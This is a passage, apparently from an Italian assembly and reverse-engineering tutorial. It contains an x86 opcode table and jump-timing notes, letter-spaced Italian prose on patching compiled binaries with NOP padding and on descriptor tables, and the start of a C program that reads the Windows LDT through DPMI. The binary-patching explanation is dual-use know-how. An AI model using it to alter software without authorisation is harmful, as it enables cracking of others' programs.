81 /7 iv CMP ev,iv Subtract immediate vword from EA vword, flags only
39 /r CMP ev,rv Subtract vword register from EA vword for flags only
3A /r CMP rb,eb Subtract EA byte from byte register for flags only
3B /r CMP rv,ev Subtract EA vword from vword register for flags only

0F 26 CMP4S N Compare CL nibbles BCD, DS:SI - ES:DI (CL even,NZ)
A6 CMPS mb,mb Compare bytes [SI] - ES:[DI], advance SI,DI
A7 CMPS mv,mv Compare vwords [SI] - ES:[DI], advance SI,DI
A6 CMPSB Compare bytes DS:[SI] - ES:[DI], advance SI,DI
A7 CMPSD Compare dwords DS:[SI] - ES:[DI], advance SI,DI
A7 CMPSW Compare words DS:[SI] - ES:[DI], advance SI,DI

0F C7 /1 CMPX8 mq 5 If EDXEAX=mq then mq:=ECXEBX, else EAXEDX:=mq
0F B0 /r CMPXCHG eb,rb 4 If AL=eb then set eb to rb, else set AL to eb
0F B1 /r CMPXCHG ev,rv 4 If eAX=ev then set ev to rv, else set eAX to ev
0F A2 CPUID 5 If EAX=1 set EDXEAX to CPU identification values
99 CWD Convert word to doubleword (DX = top bit of AX)
98 CWDE 3 Sign-extend word AX to doubleword EAX
2E CS (prefix) Use CS segment for the following memory reference

27 DAA Decimal adjust AL after addition
2F DAS Decimal adjust AL after subtraction
FE /1 DEC eb Decrement EA byte by 1
FF /1 DEC ev Decrement EA vword by 1
48+rv DEC rv Decrement vword register by 1

F6 /6 DIV eb Unsigned divide AX by EA byte (AL=Quo AH=Rem)
F7 /6 DIV ev Unsigned divide eDXeAX by EA vword (eAX=Quo eDX=Rem)
3E DS (prefix) Use DS segment for the following memory reference

C8 iw 00 ENTER iw,0 1 Make stack frame, iw bytes local storage, 0 levels
C8 iw 01 ENTER iw,1 1 Make stack frame, iw bytes local storage, 1 level
C8 iw ib ENTER iw,ib 1 Make stack frame, iw bytes local storage, ib levels
26 ES (prefix) Use ES segment for the following memory reference
F(any) Floating point set is in Chapter 7
F4 HLT Halt

F6 /7 IDIV eb Signed divide AX by EA byte (AL=Quo AH=Rem)
F7 /7 IDIV ev Signed divide eDXeAX by EA vword (eAX=Quo eDX=Rem)
F6 /5 IMUL eb Signed multiply (AX = AL * EA byte)
F7 /5 IMUL ev Signed multiply (eDXeAX = eAX * EA vword)
0F AF /r IMUL rv,ev 3 Signed multiply ev into rv
6B /r ib IMUL rv,ib 1 Signed multiply imm byte into vword register
69 /r iv IMUL rv,iv 1 Signed multiply imm vword into vword register
69 /r iv IMUL rv,ev,iv 1 Signed multiply (rv = EA vword * imm vword)
6B /r ib IMUL rv,ev,ib 1 Signed multiply (rv = EA vword * imm byte)

E4 ib IN AL,ib Input byte from immediate port into AL
EC IN AL,DX Input byte from port DX into AL
E5 ib IN eAX,ib Input vword from immediate port into eAX
ED IN eAX,DX Input vword from port DX into eAX

FE /0 INC eb Increment EA byte by 1
FF /0 INC ev Increment EA vword by 1
40+rv INC rv Increment vword register by 1

6C INS eb,DX 1 Input byte from port DX into [DI], advance DI
6D INS ev,DX 1 Input vword from port DX into [DI], advance DI
6C INSB 1 Input byte from port DX into ES:[DI], advance DI
6D INSD 3 Input dword from port DX into ES:[DI], advance DI
6D INSW 1 Input vword from port DX into ES:[DI], advance DI

CC INT 3 Interrupt 3 (trap to debugger) (far call, with flags
CD ib INT ib Interrupt numbered by immediate byte pushed first)
CE INTO Interrupt 4 if overflow flag is 1
0F 08 INVD 4 Invalidate the Data Cache without writing
0F 01 /7 INVLPG m 4 Invalidate the TLB Entry that points to m
CF IRET Interrupt return (far return and pop flags)
CF IRETD 3 Interrupt return (pop EIP, ECS, Eflags)

77 cb JA cb Jump short if above (CF=0 and ZF=0) above=UNSIGNED
73 cb JAE cb Jump short if above or equal (CF=0)
72 cb JB cb Jump short if below (CF=1) below=UNSIGNED
76 cb JBE cb Jump short if below or equal (CF=1 or ZF=1)
72 cb JC cb Jump short if carry (CF=1)

E3 cb JCXZ cb Jump short if CX register is zero
74 cb JE cb Jump short if equal (ZF=1)
E3 cb JECXZ cb 3 Jump short if ECX register is zero
7F cb JG cb Jump short if greater (ZF=0 and SF=OF) greater=SIGNED
7D cb JGE cb Jump short if greater or equal (SF=OF)
7C cb JL cb Jump short if less (SF>OF) less=SIGNED
7E cb JLE cb Jump short if less or equal (ZF=1 or SF>OF)

EB cb JMP cb Jump short (signed byte relative to next instruction)
EA cp JMP cp Jump far (4- or 6-byte immediate address)
E9 cv JMP cv Jump near (vword offset relative to next instruction)
0F 8n cv Jcond LONG cv 3 Jump, if condition, to offset >127 away
FF /4 JMP ev Jump near to EA vword (absolute offset)
FF /5 JMP md Jump far (4-byte address in memory doubleword)

76 cb JNA cb Jump short if not above (CF=1 or ZF=1)
72 cb JNAE cb Jump short if not above or equal (CF=1)
73 cb JNB cb Jump short if not below (CF=0)
77 cb JNBE cb Jump short if not below or equal (CF=0 and ZF=0)
73 cb JNC cb Jump short if not carry (CF=0)

75 cb JNE cb Jump short if not equal (ZF=0)
7E cb JNG cb Jump short if not greater (ZF=1 or SF>OF)
7C cb JNGE cb Jump short if not greater or equal (SF>OF)
7D cb JNL cb Jump short if not less (SF=OF)
7F cb JNLE cb Jump short if not less or equal (ZF=0 and SF=OF)

71 cb JNO cb Jump short if not overflow (OF=0)
7B cb JNP cb Jump short if not parity (PF=0)
79 cb JNS cb Jump short if not sign (SF=0)
75 cb JNZ cb Jump short if not zero (ZF=0)
70 cb JO cb Jump short if overflow (OF=1)

7A cb JP cb Jump short if parity (PF=1)
7A cb JPE cb Jump short if parity even (PF=1)
7B cb JPO cb Jump short if parity odd (PF=0)
78 cb JS cb Jump short if sign (SF=1)
74 cb JZ cb Jump short if zero (ZF=1)

9F LAHF Load: AH = flags SF ZF xx AF xx PF xx CF
0F 02 /r LAR rv,ew 2 Load: high(rw) = Access Rights byte, selector ew
C5 /r LDS rv,ep Load EA pointer into DS and vword register
8D /r LEA rv,m Calculate EA offset given by m, place in rv
C9 LEAVE 1 Set SP to BP, then POP BP (reverses previous ENTER)
C4 /r LES rv,ep Load EA pointer into ES and vword register
0F B4 /r LFS rv,ep 3 Load EA pointer into FS and vword register

0F 01 /2 LGDT m 2 Load 6 bytes at m into Global Descriptor Table reg
0F B5 /r LGS rv,ep 3 Load EA pointer into GS and vword register
0F 01 /3 LIDT m 2 Load 6 bytes into Interrupt Descriptor Table reg
0F 00 /2 LLDT ew 2 Load selector ew into Local Descriptor Table reg
0F 01 /6 LMSW ew 2 Load EA word into Machine Status Word
F0 LOCK (prefix) Assert BUSLOCK signal for the next instruction

0F 33/r LODBITS rb,rb N Load AX with DS:SI,bit rb (incr. SI,rb), rb+1 bits
0F 3B/0 ib LODBITS rb,ib N Load AX with DS:SI,bit rb (incr. SI,rb), ib+1 bits
AC LODS mb Load byte [SI] into AL, advance SI
AD LODS mv Load vword [SI] into eAX, advance SI
AC LODSB Load byte [SI] into AL, advance SI
AD LODSD Load dword [SI] into EAX, advance SI
AD LODSW Load word [SI] into AX, advance SI

E2 cb LOOP cb noflags DEC CX; jump short if CX>0
E1 cb LOOPE cb noflags DEC CX; jump short if CX>0 and equal (ZF=1)
E0 cb LOOPNE cb noflags DEC CX; jump short if CX>0 and not equal
E0 cb LOOPNZ cb noflags DEC CX; jump short if CX>0 and ZF=0
E1 cb LOOPZ cb noflags DEC CX; jump short if CX>0 and zero (ZF=1)

0F 03 /r LSL rv,ev 2 Load: rv = Segment Limit, selector ew
0F B2 /r LSS rv,ep 3 Load EA pointer into SS and vword register
0F 00 /3 LTR ew 2 Load EA word into Task Register

A0 iv MOV AL,xb Move byte variable (offset iv) into AL
A1 iv MOV eAX,xv Move vword variable (offset iv) into eAX
0F 22 /4 MOV CR4,rd 5 Move rd into control register 4
0F 22 /n MOV CRn,rd 3 Move rd into control register n (=0,2, or 3)

0F 23 /n MOV DRn,rd 3 Move rd into debug register n (=0,1,2,3)
0F 23 /n MOV DRn,rd 3 Move rd into debug register n (=6,7)
0F 26 /n MOV TRn,rd 3 Move rd into test register TRn (=6,7)

C6 /0 ib MOV eb,ib Move immediate byte into EA byte
88 /r MOV eb,rb Move byte register into EA byte
C7 /0 iv MOV ev,iv Move immediate vword into EA vword
89 /r MOV ev,rv Move vword register into EA vword

8C /r MOV ew,segreg Move segment register into EA word
B0+rb ib MOV rb,ib Move immediate byte into byte register
8A /r MOV rb,eb Move EA byte into byte register
0F 20 /4 MOV rd,CR4 5 Move control register 4 into rd
0F 20 /n MOV rd,CRn 3 Move control register n (=0,2, or 3) into rd

0F 21 /n MOV rd,DRn 3 Move debug register n (=0,1,2,3) into rd
0F 21 /n MOV rd,DRn 3 Move debug register n (=6,7) into rd
0F 24 /n MOV rd,TRn 3 Move test register TRn (=6,7) into rd
B8+rw iv MOV rv,iv Move immediate vword into vword register
8B /r MOV rv,ev Move EA vword into vword register

8E /r MOV segreg,mw Move EA word into segment register (except CS)
A2 iv MOV xb,AL Move AL into byte variable (offset iv)
A3 iv MOV xv,eAX Move eAX into vword register (offset iv)
A4 MOVS mb,mb Move byte [SI] to ES:[DI], advance SI,DI
A5 MOVS mv,mv Move vword [SI] to ES:[DI], advance SI,DI
A4 MOVSB Move byte DS:[SI] to ES:[DI], advance SI,DI
A5 MOVSD 3 Move dword DS:[SI] to ES:[DI], advance SI,DI
A5 MOVSW Move word DS:[SI] to ES:[DI], advance SI,DI

0F BF /r MOVSX rd,ew 3 Move word to dword, with sign-extend
0F BE /r MOVSX rv,eb 3 Move byte to vword, with sign-extend
0F B7 /r MOVZX rd,ew 3 Move word to dword, with zero-extend
0F B6 /r MOVZX rv,eb 3 Move byte to vword, with zero-extend
8C /r MOVZX rw,seg 3 Move segment register into EA word

F6 /4 MUL eb Unsigned multiply (AX = AL * EA byte)
F7 /4 MUL ev Unsigned multiply (eDXeAX = eAX * EA vword)
F6 /3 NEG eb Two's complement negate EA byte
F7 /3 NEG ev Two's complement negate EA vword
NIL (prefix) Special "do-nothing" opcode assembles no code
90 NOP No Operation

F6 /2 NOT eb Reverse each bit of EA byte
F7 /2 NOT ev Reverse each bit of EA word
0F 16/0 NOTBIT eb,CL N Complement bit CL of eb
0F 17/0 NOTBIT ew,CL N Complement bit CL of ew
0F 1E/0 ib NOTBIT eb,ib N Complement bit ib of eb
0F 1F/0 ib NOTBIT ew,ib N Complement bit ib of ew

66 or nil O2 (prefix) 3 Use 16-bit data operand in the next instruction
66 or nil O4 (prefix) 3 Use 32-bit data operand in the next instruction
0C ib OR AL,ib Logical-OR immediate byte into AL
0D iv OR eAX,iv Logical-OR immediate word into eAX
80 /1 ib OR eb,ib Logical-OR immediate byte into EA byte
08 /r OR eb,rb Logical-OR byte register into EA byte
83 /1 ib OR ev,ib Logical-OR immediate byte into EA word
81 /1 iv OR ev,iv Logical-OR immediate word into EA word
09 /r OR ev,rv Logical-OR word register into EA word
0A /r OR rb,eb Logical-OR EA byte into byte register
0B /r OR rv,ev Logical-OR EA word into word register

E6 ib OUT ib,AL Output byte AL to immediate port number ib
E7 ib OUT ib,eAX Output word eAX to immediate port number ib
EE OUT DX,AL Output byte AL to port number DX
EF OUT DX,eAX Output word eAX to port number DX
6E OUTS DX,eb 1 Output byte [SI] to port number DX, advance SI
6F OUTS DX,ev 1 Output word [SI] to port number DX, advance SI
6E OUTSB 1 Output byte DS:[SI] to port number DX, advance SI
6F OUTSD 3 Output dword DS:[SI] to port number DX, advance SI
6F OUTSW 1 Output word DS:[SI] to port number DX, advance SI

1F POP DS Set DS to top of stack, increment SP by 2
07 POP ES Set ES to top of stack, increment SP by 2
0F A1 POP FS 3 Set FS to top of stack, increment SP by 2
0F A9 POP GS 3 Set GS to top of stack, increment SP by 2
8F /0 POP mv Set memory word to top of stack, increment SP by 2
58+rw POP rv Set word register to top of stack, increment SP by 2
17 POP SS Set SS to top of stack, increment SP by 2

61 POPA 1 Pop DI,SI,BP,SP,BX,DX,CX,AX (SP value is ignored)
61 POPAD 3 Pop EDI,ESI,EBP,x,EBX,EDX,ECX,EAX (ESP ign.)
9D POPF Set flags register to top of stack, increment SP by 2
9D POPFD 3 Set eflags reg to top of stack, incr SP by 2

0E PUSH CS Set [SP-2] to CS, then decrement SP by 2
1E PUSH DS Set [SP-2] to DS, then decrement SP by 2
06 PUSH ES Set [SP-2] to ES, then decrement SP by 2
0F A0 PUSH FS 3 Set [SP-2] to FS, then decrement SP by 2
0F A8 PUSH GS 3 Set [SP-2] to GS, then decrement SP by 2
6A ib PUSH ib 1 Push sign-extended immediate byte
68 iv PUSH iv 1 Set [SP-2] to immediate word, then decrement SP by 2
FF /6 PUSH mv Set [SP-2] to memory word, then decrement SP by 2
50+rw PUSH rv Set [SP-2] to word register, then decrement SP by 2
16 PUSH SS Set [SP-2] to SS, then decrement SP by 2

60 PUSHA 1 Push AX,CX,DX,BX,original SP,BP,SI,DI
60 PUSHAD 3 Push EAX,ECX,EDX,EBX,original ESP,EBP,ESI,EDI
9C PUSHF Set [SP-2] to flags register, then decrement SP by 2
9C PUSHFD 3 Set [SP-4] to eflags reg, then decr SP by 4

D0 /2 RCL eb,1 Rotate 9-bit quantity (CF, EA byte) left once
D2 /2 RCL eb,CL Rotate 9-bit quantity (CF, EA byte) left CL times
C0 /2 ib RCL eb,ib 1 Rotate 9-bit quantity (CF, EA byte) left ib times
D1 /2 RCL ev,1 Rotate v+1-bit quantity (CF, EA word) left once
D3 /2 RCL ev,CL Rotate v+1-bit quantity (CF, EA word) left CL times
C1 /2 ib RCL ev,ib 1 Rotate v+1-bit quantity (CF, EA word) left ib times

D0 /3 RCR eb,1 Rotate 9-bit quantity (CF, EA byte) right once
D2 /3 RCR eb,CL Rotate 9-bit quantity (CF, EA byte) right CL times
C0 /3 ib RCR eb,ib 1 Rotate 9-bit quantity (CF, EA byte) right ib times
D1 /3 RCR ev,1 Rotate v+1-bit quantity (CF, EA word) right once
D3 /3 RCR ev,CL Rotate v+1-bit quantity (CF, EA word) right CL times
C1 /3 ib RCR ev,ib 1 Rotate v+1-bit quantity (CF, EA word) right ib times
0F 32 RDMSR 5 Read Model Specific Reg #ECX to EDXEAX
0F 31 RDTSC 5 Read Time Stamp Counter to EDXEAX

F3 REP (prefix) Repeat following MOVS,LODS,STOS,INS, or OUTS CX times
65 REPC (prefix) N Repeat following CMPS or SCAS CX times or until CF=0
F3 REPE (prefix) Repeat following CMPS or SCAS CX times or until ZF=0
64 REPNC (prfix) N Repeat following CMPS or SCAS CX times or until CF=1
F2 REPNE (prfix) Repeat following CMPS or SCAS CX times or until ZF=1
F2 REPNZ (prfix) Repeat following CMPS or SCAS CX times or until ZF=1
F3 REPZ (prefix) Repeat following CMPS or SCAS CX times or until ZF=0

CB RETF Return to far caller (pop offset, then seg)
C3 RET Return to near caller (pop offset only)
CA iw RETF iw RET (far), pop offset, seg, iw bytes
C2 iw RET iw RET (near), pop offset, iw bytes pushed before Call

D0 /0 ROL eb,1 Rotate 8-bit EA byte left once
D2 /0 ROL eb,CL Rotate 8-bit EA byte left CL times
C0 /0 ib ROL eb,ib 1 Rotate 8-bit EA byte left ib times
D1 /0 ROL ev,1 Rotate 16- or 32-bit EA vword left once
D3 /0 ROL ev,CL Rotate 16- or 32-bit EA vword left CL times
C1 /0 ib ROL ev,ib 1 Rotate 16 or 32-bit EA vword left ib times
0F 28/0 ROL4 eb N Rotate nibbles: Heb=Leb HAL,Leb=LAL LAL=Heb

D0 /1 ROR eb,1 Rotate 8-bit EA byte right once
D2 /1 ROR eb,CL Rotate 8-bit EA byte right CL times
C0 /1 ib ROR eb,ib 1 Rotate 8-bit EA byte right ib times
D1 /1 ROR ev,1 Rotate 16- or 32-bit EA vword right once
D3 /1 ROR ev,CL Rotate 16- or 32-bit EA vword right CL times
C1 /1 ib ROR ev,ib 1 Rotate 16- or 32-bit EA vword right ib times
0F 2A/0 ROR4 eb N Rotate nibbles: Leb=Heb Heb=LAL AL=eb
0F AA RSM 5 Resume from System Management mode

9E SAHF Store AH into flags SF ZF xx AF xx PF xx CF
D0 /4 SAL eb,1 Multiply EA byte by 2, once
D2 /4 SAL eb,CL Multiply EA byte by 2, CL times
C0 /4 ib SAL eb,ib 1 Multiply EA byte by 2, ib times
D1 /4 SAL ev,1 Multiply EA vword by 2, once
D3 /4 SAL ev,CL Multiply EA vword by 2, CL times
C1 /4 ib SAL ev,ib 1 Multiply EA vword by 2, ib times

D0 /7 SAR eb,1 Signed divide EA byte by 2, once
D2 /7 SAR eb,CL Signed divide EA byte by 2, CL times
C0 /7 ib SAR eb,ib 1 Signed divide EA byte by 2, ib times
D1 /7 SAR ev,1 Signed divide EA vword by 2, once
D3 /7 SAR ev,CL Signed divide EA vword by 2, CL times
C1 /7 ib SAR ev,ib 1 Signed divide EA vword by 2, ib times

1C ib SBB AL,ib Subtract with borrow immediate byte from AL
1D iv SBB eAX,iv Subtract with borrow immediate word from eAX
80 /3 ib SBB eb,ib Subtract with borrow immediate byte from EA byte
18 /r SBB eb,rb Subtract with borrow byte register from EA byte
83 /3 ib SBB ev,ib Subtract with borrow immediate byte from EA word
81 /3 iv SBB ev,iv Subtract with borrow immediate word from EA word
19 /r SBB ev,rv Subtract with borrow word register from EA word
1A /r SBB rb,eb Subtract with borrow EA byte from byte register
1B /r SBB rv,ev Subtract with borrow EA word from word register

AE SCAS mb Compare bytes AL - ES:[DI], advance DI
AF SCAS mv Compare vwords eAX - ES:[DI], advance DI
AE SCASB Compare bytes AL - ES:[DI], advance DI
AF SCASD Compare dwords EAX - ES:[DI], advance DI
AF SCASW Compare words AX - ES:[DI], advance DI

0F 14/0 SETBIT eb,CL N Set bit CL of eb
0F 15/0 SETBIT ew,CL N Set bit CL of ew
0F 1C/0 ib SETBIT eb,ib N Set bit ib of eb
0F 1D/0 ib SETBIT ew,ib N Set bit ib of ew
0F 9n /r SETcond eb 3 Set eb byte to 1 if condition, 0 if not
0F 01 /0 SGDT m 2 Store 6-byte Global Descriptor Table register to M

D0 /4 SHL eb,1 Multiply EA byte by 2, once
D2 /4 SHL eb,CL Multiply EA byte by 2, CL times
C0 /4 ib SHL eb,ib 1 Multiply EA byte by 2, ib times
D1 /4 SHL ev,1 Multiply EA word by 2, once
D3 /4 SHL ev,CL Multiply EA word by 2, CL times
C1 /4 ib SHL ev,ib 1 Multiply EA word by 2, ib times

0F A5/r SHLD ev,rv,CL 3 Set ev to high of ((ev,rv) SHL CL)
0F A4/r ib SHLD ev,rv,ib 3 Set ev to high of ((ev,rv) SHL ib)

D0 /5 SHR eb,1 Unsigned divide EA byte by 2, once
D2 /5 SHR eb,CL Unsigned divide EA byte by 2, CL times
C0 /5 ib SHR eb,ib 1 Unsigned divide EA byte by 2, ib times
D1 /5 SHR ev,1 Unsigned divide EA word by 2, once
D3 /5 SHR ev,CL Unsigned divide EA word by 2, CL times
C1 /5 ib SHR ev,ib 1 Unsigned divide EA word by 2, ib times
0F AD/r SHRD ev,rv,CL 3 Set ev to low of ((rv,ev) SHR CL)
0F AC/r ib SHRD ev,rv,ib 3 Set ev to low of ((rv,ev) SHR ib)

0F 01 /1 SIDT m 2 Store 6-byte Interrupt Descriptor Table register to M
0F 00 /0 SLDT ew 2 Store Local Descriptor Table register to EA word
0F 01 /4 SMSW ew 2 Store Machine Status Word to EA word
36 SS Use SS segment for the following memory reference
F9 STC Set carry flag
FD STD Set direction flag so SI and DI will decrement
FB STI Set interrupt enable flag, interrupts enabled

0F 31/r STOBITS rb,rb N Store AX to ES:DI,bit rb (incr. DI,rb), rb+1 bits
0F 39/0 ib STOBITS rb,ib N Store AX to ES:DI,bit rb (incr. DI,rb), ib+1 bits
AA STOS mb Store AL to byte [DI], advance DI
AB STOS mv Store eAX to word [DI], advance DI
AA STOSB Store AL to byte ES:[DI], advance DI
AB STOSD Store EAX to dword ES:[DI], advance DI
AB STOSW Store AX to word ES:[DI], advance DI
0F 00 /1 STR ew 2 Store Task Register to EA word

2C ib SUB AL,ib Subtract immediate byte from AL
2D iv SUB eAX,iv Subtract immediate word from eAX
80 /5 ib SUB eb,ib Subtract immediate byte from EA byte
28 /r SUB eb,rb Subtract byte register from EA byte
83 /5 ib SUB ev,ib Subtract immediate byte from EA word
81 /5 iv SUB ev,iv Subtract immediate word from EA word
29 /r SUB ev,rv Subtract word register from EA word
2A /r SUB rb,eb Subtract EA byte from byte register
2B /r SUB rv,ev Subtract EA word from word register
0F 22 SUB4S N Sub CL nibbles BCD, DS:SI - ES:DI (CL even,NZ)

A8 ib TEST AL,ib AND immediate byte into AL for flags only
A9 iv TEST eAX,iv AND immediate word into eAX for flags only
F6 /0 ib TEST eb,ib AND immediate byte into EA byte for flags only
84 /r TEST eb,rb AND byte register into EA byte for flags only
F7 /0 iv TEST ev,iv AND immediate word into EA word for flags only
85 /r TEST ev,rv AND word register into EA word for flags only
84 /r TEST rb,eb AND EA byte into byte register for flags only
85 /r TEST rv,ev AND EA word into word register for flags only

0F 10/0 TESTBIT eb,CL N Test bit CL of eb, set Z flag
0F 11/0 TESTBIT ev,CL N Test bit CL of ew, set Z flag
0F 18/0 ib TESTBIT eb,ib N Test bit ib of eb, set Z flag
0F 19/0 ib TESTBIT ew,ib N Test bit ib of ew, set Z flag

0F 00 /4 VERR ew 2 Set ZF=1 if segment can be read, selector ew
0F 00 /5 VERW ew 2 Set ZF=1 if segment can be written to, selector ew
9B WAIT Wait until BUSY pin is inactive (HIGH)
0F 09 WBINVD 4 Write Back and Invalidate the Data Cache
0F 30 WRMSR 5 Write EDXEAX to Model Specific Reg #ECX
0F C0 /r XADD eb,rb 4 Exchange eb with rb then add into new eb
0F C1 /r XADD ev,rv 4 Exchange ev with rv then add into new ev

9r XCHG eAX,rv Exchange word register with eAX
86 /r XCHG eb,rb Exchange byte register with EA byte
87 /r XCHG ev,rv Exchange word register with EA word
86 /r XCHG rb,eb Exchange EA byte with byte register
9r XCHG rv,eAX Exchange with word register
87 /r XCHG rv,ev Exchange EA word with word register

D7 XLAT mb Set AL to memory byte [BX + unsigned AL]
D7 XLATB Set AL to memory byte DS:[BX + unsigned AL]
34 ib XOR AL,ib Exclusive-OR immediate byte into AL
35 iv XOR eAX,iv Exclusive-OR immediate word into eAX
80 /6 ib XOR eb,ib Exclusive-OR immediate byte into EA byte
30 /r XOR eb,rb Exclusive-OR byte register into EA byte
83 /6 ib XOR ev,ib Exclusive-OR immediate byte into EA word
81 /6 iv XOR ev,iv Exclusive-OR immediate word into EA word
31 /r XOR ev,rv Exclusive-OR word register into EA word
32 /r XOR rb,eb Exclusive-OR EA byte into byte register
33 /r XOR rv,ev Exclusive-OR EA word into word register

Una not a par t i col ar e r i guar da i codi ci r el at i vi ai sal t i a segui t o di cont r ol l i
come ad esempi o j ne, j e ecc.

Jxx - Jump Instructions Table
Mnemonic Meaning Jump Condition
JA Jump if Above CF=0 and ZF=0
JAE Jump if Above or Equal CF=0
JB Jump if Below CF=1
JBE Jump if Below or Equal CF=1 or ZF=1
JC Jump if Carry CF=1

JCXZ Jump if CX Zero CX=0
JE Jump if Equal ZF=1
JG Jump if Greater (signed) ZF=0 and SF=OF
JGE Jump if Greater or Equal (signed) SF=OF
JL Jump if Less (signed) SF != OF
JLE Jump if Less or Equal (signed) ZF=1 or SF != OF
JMP Unconditional Jump unconditional

JNA Jump if Not Above CF=1 or ZF=1
JNAE Jump if Not Above or Equal CF=1
JNB Jump if Not Below CF=0
JNBE Jump if Not Below or Equal CF=0 and ZF=0
JNC Jump if Not Carry CF=0
JNE Jump if Not Equal ZF=0
JNG Jump if Not Greater (signed) ZF=1 or SF != OF

JNGE Jump if Not Greater or Equal (signed) SF != OF
JNL Jump if Not Less (signed) SF=OF
JNLE Jump if Not Less or Equal (signed) ZF=0 and SF=OF
JNO Jump if Not Overflow (signed) OF=0
JNP Jump if No Parity PF=0
JNS Jump if Not Signed (signed) SF=0
JNZ Jump if Not Zero ZF=0

JO Jump if Overflow (signed) OF=1
JP Jump if Parity PF=1
JPE Jump if Parity Even PF=1
JPO Jump if Parity Odd PF=0
JS Jump if Signed (signed) SF=1
JZ Jump if Zero ZF=1
Clocks Size
Operands 808x 286 386 486 Bytes

Jx: jump 16 7+m 7+m 3 2
no jump 4 3 3 1
Jx near-label - - 7+m 3 4
no jump - - 3 1
- It's a good programming practice to organize code so the
expected case is executed without a jump since the actual
jump takes longer to execute than falling through the test.

- see JCXZ and JMP for their respective timings

Bi sogna f ar e un di scor so par t i col ar e a r i guar do di al cune t ecni che di
r i empi ment o.
Quando di sponi amo del codi ce sor gent e esegui amo l a modi f i ca e r i compi l i amo
t ut t o.
Nel nost r o caso non avr emo mai a ddi sposi zi one i sour ces per cui l e modi f i che
dovr emo appor t ar l e a f i l e bi nar i gi compi l at i .
Nel l a memor i a esi st ono dat i e codi ci oper at i vi .
I l pr ocessor e come f a ad i nt er pr et ar e i n un modo o nel l al t r o quest e
i nf or mazi oni ?
Quando i l pr ocessor e i ni zi a l esecuzi one del codi ce i r egi st r i CS: I P punt ano
al l i st r uzi one cor r ent e da esegui r e.
Quest a vi ene pr esa e r i conosci ut a i n base al codi ce oper at i vo, quel l i vi st i
pr i ma.
Ogni i st r uzi one di spone di una l unghezza par t i col ar e per cui l i nt er pr et e del
mi cr ocodi ce, al l i nt er no del pr ocessor e, aggi or na I P a punt ar e al l i st r uzi one
successi va spost ando l i ndi r i zzo pr ecedent e di n byt es ovver o quant i er ano
quel l i r el at i vi al l a l unghezza del l i st r uzi one esegui t a.
Se noi andi amo a modi f i car e del l e i st r uzi oni possi bi l e che quel l e che
i nser i amo non si ano di l unghezza i n byt es ugual i a quel l a pr ecedent e.
I n quest o caso t ut t o i l pr ogr amma andr ebbe a f ar si benedi r e i n quant o l o
sf asament o sar ebbe di f f er ent e.
Facci amo un esempi o pr at i co.
Supponi amo che ci si a un i st r uzi one di l unghezza di due byt es e dopo un al t r a di
l unghezza x.
Or i gi nar i ament e i l pr ocessor e l egger ebbe i l codi ce oper at i vo del l i st r uzi one ,
l a segui r ebbe e successi vament e i nser i r ebbe i n CS: I P l i ndi r i zzo cor r ent e + 2
byt es ( l a l unghezza del l si t r uzi one esegui t a) per cu l egger ebbe l i st r uzi one
dopo.
Se noi andi amo a sost i t ui r e l a pr i ma ed i nser i amoun i st r uzi one di un sol o byt e
i l pr ocessor e dopo l a l et t ur a e l esecuzi one del l a pr i ma i st r uzi one cer cher ebbe
di l egger e l i st r uzi one al l i ndi r i zzo cor r ent e + 1 byt e l eggendo qual che codi ce
dovut o al l a spor ci zi a di memor i a.
Quando andi amo ad i nser i r e i st r uzi oni di l unghezza non cor r et t a dobbi amo
compensar e con i st r uzi oni nul l e l a memor i a.
Quest a i st r uzi one nul l a ( NO OPERATI ON) e :

NOP Nessuna operazione 90

Quest a l a casi st i ca che capi t a quando l a sost i t uzi one r el at i va a codi ci pi
cor t i r i spet t o agl i or i gi nal i .
Nel caso i n cui i nvece i l codi ce da i nser i r e si a pi l ungo dovr emo esegui r e del l e
oper azi oni di r i l ocazi one.
Vedr emo al cune f unzi oni con i pr ogr ammi gener at or i di pat ch.

Al t r e not e devono esser e t r at t at e a r i guar do del l e di f f er enze t r a modo pr ot et t o
e modo r eal e.
Esi st e una t abel l a chi amat a GDT ( Gl obal Descr i pt or Tabl e) che cont i ene i
descr i t t or i dei segment i di base.
Quest i sono r el at i vi a di f f er ent i par t i di memor i a.
Nel l e pagi ne pr ecedent i avevamo det t o che i n modo r eal e i segment i pot evano
esser e l unghi 64Kbyt es.
I n modo pr ot et t o ogni segment o pu esser e gr osso f i no a 4 Gbyt es.
Un' al t r a t abel l a opzi onal e, ut i l i zzat a per l e appl i cazi oni , chi amat a LDT
( Local Descr i pt or Tabl e) e cont i ene i descr i t t or i dei segment i .
Un si st ema oper at i vo set t a l e i nf or mazi oni dent r o al GDT e per ogni appl i cat i vo
set t a un LDT che cont i ene i descr i t t or i del l appl i cazi one.
I n ogni caso LDT una t abel l a di descr i t t or i t i po GDT.
I l suo uso quel l o di pr ovveder e a t ask di f f er ent i l ayout s di memor i a di ver si .
Un' al t r a t abel l a I DT l a qual e cont i ene i descr i t t or i degl i i nt er r upt s.
Quest a t abel l a vi ene ut i l i zzat a per di r e al pr ocessor e dove t r ovar e gl i handl er s
degl i i nt er r upt s.
I DT cont i ene una voce per ogni i nt er r upt , come i n modo r eal e, ma i l f or mat o di
quest e voci t ot al ment e di f f er ent e.
I l pr ogr amma che segue r i esce sf r ut t ando LDT a most r ar e l e i nf or mazi oni sui var i
segment i al l oi cat i dai pr ocessi at t i vi .

#include <windows.h>
#include <string.h>



#pragma pack(1) // Need to make sure this struct is packed all together
// Structure definition laying out the fields of a regular
// (non-system) descriptor.
typedef struct
{
unsigned short limit_0_15;
unsigned short base_0_15;
unsigned char base_16_23;
unsigned int accessed : 1;
unsigned int readable : 1;
unsigned int conforming : 1;
unsigned int code_data : 1;
unsigned int app_system : 1;
unsigned int dpl : 2;
unsigned int present : 1;
unsigned int limit_16_19 : 4;
unsigned int unused : 1;
unsigned int always_0 : 1;
unsigned int seg_16_32 : 1;
unsigned int granularity : 1;
unsigned char base_24_31;
} DESCRIPTOR;
#pragma pack() // Revert to default packing

static char MS_DOS_STR[] = "MS-DOS"; // String needed to get DPMI extensions

// Returns a pointer to the LDT alias selector that KRNL386 uses to read
// and write the LDT with. This selector comes from the DPMI server
unsigned short GetLDTAlias(void)
{
unsigned short LDT_alias;
unsigned short (far * dpmiproc)(void);

// Use INT 2Fh, fn. 168A to get the "DPMI extensions
// entry point" function pointer
_asm mov si, offset MS_DOS_STR // DS:SI = "MS-DOS"
_asm mov ax, 168Ah
_asm int 2Fh
_asm cmp al, 8Ah
_asm je extensions_not_found

// The entry point is returned in ES:DI. Save it
_asm mov word ptr [dpmiproc], di
_asm mov word ptr [dpmiproc+2], es

